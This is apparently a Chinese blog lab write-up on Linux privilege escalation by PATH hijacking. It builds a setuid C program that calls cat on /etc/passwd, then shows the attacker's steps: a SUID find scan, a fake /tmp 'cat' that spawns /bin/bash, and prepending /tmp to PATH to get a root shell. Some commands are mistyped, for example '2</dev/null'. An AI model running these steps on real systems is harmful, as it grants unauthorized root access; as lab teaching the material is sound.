linux中利用环境变量PATH提权
这段时间打了很多靶机最后都有环境变量提权看来大佬自己也搭建了个环境总结了下
实验环境准备
准备一台kali模拟攻击者192.168.19.131 准备一台ubuntu模拟被攻击者IP:192.168.19.130
在ubuntu创建一个低权限用户user2
在kdu用户的工作目录下创建一个c程序调用系统命令cat
#include<unistd.h> { setuid(0); setgid(0); system("cat /etc/passwd") }
gcc编译该c程序为文件hacker、
gcc hack.c -o hacker
得到可执行文件hacker给到该文件s权限
chmod u+s hacker
验证:运行hacker文件成功
实验环境到此就搭建成功了
模拟攻击者提权
用我们刚刚创建的低权限账户user2 ssh登录目标机器
ssh user2@192.168.19.130
优化终端
python -c import pty;pty.spawn("/bin/bash")
find扫到suid文件hackerfind / -perm -u=s -type f 2</dev/null 执行该文件发现是调用系统命令cat 在tmp目录下创建一个cat文件写入echo “/bin/bash” >cat shell命令 给到cat文件权限
chmod 777 cat
查看当前的echo $PATH
因为我们的cat丢在tmp目录下把tmp设置在环境变量头部让命令先走tmp 命令export PATH=/tmp:$PATH 此时再去执行hacker文件成功提权
上一篇:
通过多线程提高代码的执行效率例子
下一篇:
TCP/IP协议内容以及分包解包过程